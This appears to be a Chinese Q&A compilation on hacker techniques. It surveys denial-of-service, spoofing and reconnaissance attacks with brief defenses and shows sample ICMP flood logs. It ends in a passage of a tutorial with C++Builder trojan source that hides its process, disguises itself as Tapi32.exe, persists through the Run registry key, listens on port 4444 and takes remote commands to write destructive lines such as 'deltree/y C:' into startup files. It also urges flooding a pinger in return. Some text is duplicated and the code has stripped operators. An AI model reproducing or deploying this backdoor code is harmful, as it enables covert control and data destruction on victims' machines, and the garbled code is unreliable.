本文目录一览:
黑客的入侵手段~~
死亡之ping (ping of death)
概览:由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。
防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows98之后的windows,NT(service pack 3之后),linux、Solaris、和Mac OS都具有抵抗一般ping ofdeath攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。
泪滴(teardrop)
概览:泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括servicepack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
防御:服务器应用最新的服务包,或者在设置防火墙时对分段进行重组,而不是转发它们。
UDP洪水(UDP flood)
概览:各种各样的假冒攻击利用简单的TCP/IP服务,如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间的足够多的无用数据流,如果足够多的数据流就会导致带宽的服务攻击。
防御:关掉不必要的TCP/IP服务,或者对防火墙进行配置阻断来自Internet的请求这些服务的UDP请求。
SYN洪水(SYN flood)
概览:一些TCP/IP栈的实现只能等待从有限数量的计算机发来的ACK消息,因为他们只有有限的内存缓冲区用于创建连接,如果这一缓冲区充满了虚假连接的初始信息,该服务器就会对接下来的连接停止响应,直到缓冲区里的连接企图超时。在一些创建连接不受限制的实现里,SYN洪水具有类似的影响。
防御:在防火墙上过滤来自同一主机的后续连接。
未来的SYN洪水令人担忧,由于释放洪水的并不寻求响应,所以无法从一个简单高容量的传输中鉴别出来。
Land攻击
概览:在Land攻击中,一个特别打造的SYN包它的原地址和目标地址都被设置成某一个服务器地址,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时掉,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续五分钟)。
防御:打最新的补丁,或者在防火墙进行配置,将那些在外部接口上入站的含有内部源地址滤掉。(包括10域、127域、192.168域、172.16到172.31域)
Smurf攻击
概览:一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞,比pingof death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。
防御:为了防止黑客利用你的网络攻击他人,关闭外部路由器或防火墙的广播地址特性。为防止被攻击,在防火墙上设置规则,丢弃掉ICMP包。
Fraggle攻击
概览:Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP
防御:在防火墙上过滤掉UDP应答消息
电子邮件炸弹
概览:电子邮件炸弹是最古老的匿名攻击之一,通过设置一台机器不断的大量的向同一地址发送电子邮,攻击者能够耗尽接受者网络的带宽。
防御:对邮件地址进行配置,自动删除来自同一主机的过量或重复的消息。
畸形消息攻击
概览:各类操作系统上的许多服务都存在此类问题,由于这些服务在处理信息之前没有进行适当正确的错误校验,在收到畸形的信息可能会崩溃。
防御:打最新的服务补丁。
利用型攻击
利用型攻击是一类试图直接对你的机器进行控制的攻击,最常见的有三种:
口令猜测
概览:一旦黑客识别了一台主机而且发现了基于NetBIOS、Telnet或NFS这样的服务的可利用的用户帐号,成功的口令猜测能提供对机器控制。
防御:要选用难以猜测的口令,比如词和标点符号的组合。确保像NFS、NetBIOS和Telnet这样可利用的服务不暴露在公共范围。如果该服务支持锁定策略,就进行锁定。
特洛伊木马
概览:特洛伊木马是一种或是直接由一个黑客,或是通过一个不令人起疑的用户秘密安装到目标系统的程序。一旦安装成功并取得管理员权限,安装此程序的人就可以直接远程控制目标系统。
最有效的一种叫做后门程序,恶意程序包括:NetBus、BackOrifice和BO2k,用于控制系统的良性程序如:netcat、VNC、pcAnywhere。理想的后门程序透明运行。
防御:避免下载可疑程序并拒绝执行,运用网络扫描软件定期监视内部主机上的监听TCP服务。
缓冲区溢出
概览:由于在很多的服务程序中大意的程序员使用象strcpy(),strcat()类似的不进行有效位检查的函数,最终可能导致恶意用户编写一小段利用程序来进一步打开安全豁口然后将该代码缀在缓冲区有效载荷末尾,这样当发生缓冲区溢出时,返回指针指向恶意代码,这样系统的控制权就会被夺取。
防御:利用SafeLib、tripwire这样的程序保护系统,或者浏览最新的安全公告不断更新操作系统。
信息收集型攻击
信息收集型攻击并不对目标本身造成危害,如名所示这类攻击被用来为进一步入侵提供有用的信息。主要包括:扫描技术、体系结构刺探、利用信息服务
扫描技术
地址扫描
概览:运用ping这样的程序探测目标地址,对此作出响应的表示其存在。
防御:在防火墙上过滤掉ICMP应答消息。
端口扫描
概览:通常使用一些软件,向大范围的主机连接一系列的TCP端口,扫描软件报告它成功的建立了连接的主机所开的端口。
防御:许多防火墙能检测到是否被扫描,并自动阻断扫描企图。
反响映射
概览:黑客向主机发送虚假消息,然后根据返回“hostunreachable”这一消息特征判断出哪些主机是存在的。目前由于正常的扫描活动容易被防火墙侦测到,黑客转而使用不会触发防火墙规则的常见消息类型,这些类型包括:RESET消息、SYN-ACK消息、DNS响应包。
防御:NAT和非路由代理服务器能够自动抵御此类攻击,也可以在防火墙上过滤“hostunreachable”ICMP应答?.
慢速扫描
概览:由于一般扫描侦测器的实现是通过监视某个时间桢里一台特定主机发起的连接的数目(例如每秒10次)来决定是否在被扫描,这样黑客可以通过使用扫描速度慢一些的扫描软件进行扫描。
防御:通过引诱服务来对慢速扫描进行侦测。
体系结构探测
概览:黑客使用具有已知响应类型的数据库的自动工具,对来自目标主机的、对坏数据包传送所作出的响应进行检查。由于每种操作系统都有其独特的响应方法(例NT和Solaris的TCP/IP堆栈具体实现有所不同),通过将此独特的响应与数据库中的已知响应进行对比,黑客经常能够确定出目标主机所运行的操作系统。
防御:去掉或修改各种Banner,包括操作系统和各种应用服务的,阻断用于识别的端口扰乱对方的攻击计划。
利用信息服务
DNS域转换
概览:DNS协议不对转换或信息性的更新进行身份认证,这使得该协议被人以一些不同的方式加以利用。如果你维护着一台公共的DNS服务器,黑客只需实施一次域转换操作就能得到你所有主机的名称以及内部IP地址。
防御:在防火墙处过滤掉域转换请求。
Finger服务
概览:黑客使用finger命令来刺探一台finger服务器以获取关于该系统的用户的信息。
防御:关闭finger服务并记录尝试连接该服务的对方IP地址,或者在防火墙上进行过滤。
LDAP服务
概览:黑客使用LDAP协议窥探网络内部的系统和它们的用户的信息。
防御:对于刺探内部网络的LDAP进行阻断并记录,如果在公共机器上提供LDAP服务,那么应把LDAP服务器放入DMZ。
假消息攻击
用于攻击目标配置不正确的消息,主要包括:DNS高速缓存污染、伪造电子邮件。
DNS高速缓存污染
概览:由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证,这就使得黑客可以将不正确的信息掺进来并把用户引向黑客自己的主机。
防御:在防火墙上过滤入站的DNS更新,外部DNS服务器不应能更改你的内部服务器对内部机器的认识。
伪造电子邮件
概览:由于SMTP并不对邮件的发送者的身份进行鉴定,因此黑客可以对你的内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附带上可安装的特洛伊木马程序,或者是一个引向恶意网站的连接。
防御:使用PGP等安全工具并安装电子邮件证书。
漏洞攻击
对微软(Microsoft)而言,最具讽刺的是总被黑客先发现漏洞,待Windows们倒下后,微软才站出来补充两句:“最新的补丁已经发布,如果客户没有及时下载补丁程序而造成的后果,我们将不承担责任!”
攻击:
细细盘查,漏洞攻击主要集中在系统的两个部分:1.系统的对外服务上,如“冲击波”病毒针对系统的“远程协助”服务;“尼姆达”病毒由系统的“IPC漏洞”(资源共享)感染。2. 集成的应用软件上, IE、OutLook Express、MSN Messager、Media Player这些集成的应用程序,都可能成为漏洞攻击的桥梁。
那黑客又是如何利用这些漏洞,实施攻击的呢?首先利用扫描技术,了解对方计算机存在哪些漏洞,然后有针对性地选择攻击方式。以IE的IFRAME漏洞为例,黑客能利用网页恶意代码(恶意代码可以采用手工编写或者工具软件来协助完成),制作带毒网页,然后引诱对方观看该网页,未打补丁的IE将会帮助病毒进入计算机,感染后的系统利用IE通讯簿,向外发送大量带毒邮件,最终堵塞用户网络。
防范:
漏洞的防御,升级自然是首选。有两种方式可以很好的升级:
1. Update
系统的“开始”菜单上,会有“Windows Update”的链接,选择后,进入Microsoft的升级主页,网站上的程序会自动扫描当前系统存在哪些漏洞,哪些需要升级,根据“向导”即可完成,如图所示(笔者推崇这种方式)。
漏洞攻击
对微软(Microsoft)而言,最具讽刺的是总被黑客先发现漏洞,待Windows们倒下后,微软才站出来补充两句:“最新的补丁已经发布,如果客户没有及时下载补丁程序而造成的后果,我们将不承担责任!”
攻击:
细细盘查,漏洞攻击主要集中在系统的两个部分:1.系统的对外服务上,如“冲击波”病毒针对系统的“远程协助”服务;“尼姆达”病毒由系统的“IPC漏洞”(资源共享)感染。2. 集成的应用软件上, IE、OutLook Express、MSN Messager、Media Player这些集成的应用程序,都可能成为漏洞攻击的桥梁。
那黑客又是如何利用这些漏洞,实施攻击的呢?首先利用扫描技术,了解对方计算机存在哪些漏洞,然后有针对性地选择攻击方式。以IE的IFRAME漏洞为例,黑客能利用网页恶意代码(恶意代码可以采用手工编写或者工具软件来协助完成),制作带毒网页,然后引诱对方观看该网页,未打补丁的IE将会帮助病毒进入计算机,感染后的系统利用IE通讯簿,向外发送大量带毒邮件,最终堵塞用户网络。
防范:
漏洞的防御,升级自然是首选。有两种方式可以很好的升级:
1. Update
系统的“开始”菜单上,会有“Windows Update”的链接,选择后,进入Microsoft的升级主页,网站上的程序会自动扫描当前系统存在哪些漏洞,哪些需要升级,根据“向导”即可完成,如图所示(笔者推崇这种方式)。
2. 使用升级程序
使用Update虽然比较准确、全面。但它所有的升级组件都需要在Microsoft的网站上下载,“窄带”的情况下显然不现实;“宽带”也需要很长的时间。Microsoft提供升级程序的打包下载,或者一些工具光盘上也带有这些升级包。常说的“Service Pack 1”、“Service Pack 2”就是指这些升级包。
除了升级,使用一些工具软件,也能够达到效果,如3721的“上网助手”,它能够很好填补IE漏洞。这些软件一般定向保护系统的应用程序,针对“对外服务”漏洞的较少。
DDOS攻击
DDOS(分布式拒绝服务攻击)的本质是:利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。它实现简单,是目前黑客常用的一种方式。
攻击:
DDOS的实现方式较多,如多人同时向主机提出Web请求;多人同时Ping主机……这里介绍一种“先进”的“伪装IP地址的洪水Ping攻击”。
Ping指令是用来探测网络通讯状况和对方主机状况的网络指令,先前有过一些资料介绍不断的Ping对方主机,可能会造成该主机无法承受的情况,但随着Windows XP等新系统的普及,网络带宽的升级、计算机硬件的升级,单纯的大量Ping包基本上没有效果了。
Ping指令的工作流程是这样的:先由使用Ping命令的主机A发送ICMP报文给主机B;再由主机B回送ICMP报文给主机A。
网络通讯中有一种被称为“广播”(Broadcast)的方式,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),以此类推。如果往一个局域网的广播地址(利用一些“局域网嗅探软件”就可以查找它的广播地址)发送一个ICMP报文(就是一下Ping广播地址),会得到非常多的ICMP报文回应。把当前计算机的地址伪装成被攻击主机的(SOCK_RAW就可以实现伪装IP),向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,被攻击主机被迫接受大量的Ping包。这就形成了伪装IP地址的洪水Ping攻击形式。
防范:
对于DDOS而言,目前网络上还没有找到什么有效的防御方法,对于一种使用Ping包的攻击方式,虽然可以使用一些防火墙拒绝Ping包,但如果DDOS采用了另一种载体——合法的Web请求(打开该主机上的网页)时,依然无法防范。现在对付DDOS的普遍方法是由管理员,手工屏蔽DDOS的来源和服务器形式,如有一段IP对主机进行DDOS,就屏蔽该段IP的访问;DDOS使用的是FTP、HTTP服务,就暂时停止这些服务。
最后还要提醒一下大家,高明的黑客在攻击后都会做一些扫尾工作,扫尾工作就是要清除一些能够发现自己的残留信息。对于用户而言一般只能通过日志来捕捉这些残留信息,如防火墙的日志;Web服务器的日志(IIS、Server_U都具有日志查看功能)。能否通过日志找到这些残留信息只能靠运气了,真正够厉害的黑客会悄然无声地离去,而不留下一片“云彩”。
六、ICMP Flood能防吗?
先反问你一个问题:洪水迅猛的冲来时,你能否拿着一个脸盆来抵挡?(坐上脸盆做现代鲁宾逊倒是个不错的主意,没准能漂到MM身边呢)
软件的网络防火墙能对付一些漏洞、溢出、OOB、IGMP攻击,但是对于洪水类型的攻击,它们根本无能为力,我通常对此的解释是“倾倒垃圾”:“有蟑螂或老鼠在你家门前逗留,你可以把它们赶走,但如果有人把一车垃圾倾倒在你家门口呢?”前几天看到mikespook大哥对此有更体面的解释,转载过来——“香蕉皮原理:如果有人给你一个香蕉和一个香蕉皮你能区分,并把没有用的香蕉皮扔掉。(一般软件防火墙就是这么判断并丢弃数据包的。)但是如果有人在同一时间内在你身上倒一车香蕉皮,你再能区分有用没用也没啥作用了~~因为你被香蕉皮淹没了~~~~(所以就算防火墙能区分是DoS的攻击数据包,也只能识别,根本来不及丢弃~~死了,死了,死了~~)”
所以,洪水没法防!能做的只有提高自己的带宽和预防洪水的发生(虽然硬件防火墙和分流技术能做到,但那价格是太昂贵的,而且一般人也没必要这样做)。
如果你正在被攻击,最好的方法是抓取攻击者IP(除非对方用第一种,否则抓了没用——假的IP)后,立即下线换IP!(什么?你是固定IP?没辙了,打电话找警察叔叔吧)
七、被ICMP Flood攻击的特征
如何发现ICMP Flood?
当你出现以下症状时,就要注意是否正被洪水攻击:
1.传输状态里,代表远程数据接收的计算机图标一直亮着,而你没有浏览网页或下载
2.防火墙一直提示有人试图ping你
3.网络速度奇慢无比
4.严重时系统几乎失去响应,鼠标呈跳跃状行走
如果出现这些情况,先不要慌张,冷静观察防火墙报警的频率及IP来确认是否普通的Ping或是洪水,做出相应措施(其实大多数情况也只能换IP了)。
1.普通ping
这种“攻击”一般是对方扫描网络或用ping -t发起的,没多大杀伤力(这个时候,防火墙起的作用就是延迟攻击者的数据报发送间隔时间,请别关闭防火墙!否则后果是严重的!),通常表现如下:
==============================================================
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:24] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:26] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:30] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
=============================================================
这么慢的速度,很明显是由ping.exe或IcmpSendEcho发出的,如果对方一直不停的让你的防火墙吵闹,你可以给他个真正的ICMP Flood问候。
2.直接Flood
这是比较够劲的真正意义洪水了,防火墙的报警密度会提高一个数量级:
==============================================================
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
该操作被拒绝。
=============================================================
这时候你的防火墙实际上已经废了,换个IP吧。
3.伪造IP的Flood
比较厉害的ICMP Flood,使用的是伪造的IP而且一样大密度,下面是the0crat用56K拨号对我的一次攻击测试的部分数据(看看时间,真晕了,这可是56K小猫而已啊)
=============================================================
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
[18:52:13] 1.1.1.1 尝试用Ping 来探测本机,
该操作被拒绝。
=============================================================
无言…………
4、反射ICMP Flood
估计现在Smurf攻击还没有多少人会用(R-Series的RSS.EXE就是做这事的,RSA.EXE和RSC.EXE分别用作SYN反射和UDP反射),所以这种方法还没有大规模出现,但Smurf是存在的!而且这个攻击方法比前面几种更恐怖,因为攻击你的是大网站(或一些受苦受难的服务器)!
我正在被网易、万网和新浪网站攻击中(懒得修改天网策略,直接用其他工具抓的。实际攻击中,反射的IP会多几倍!)
=======================================================================
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet fro
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
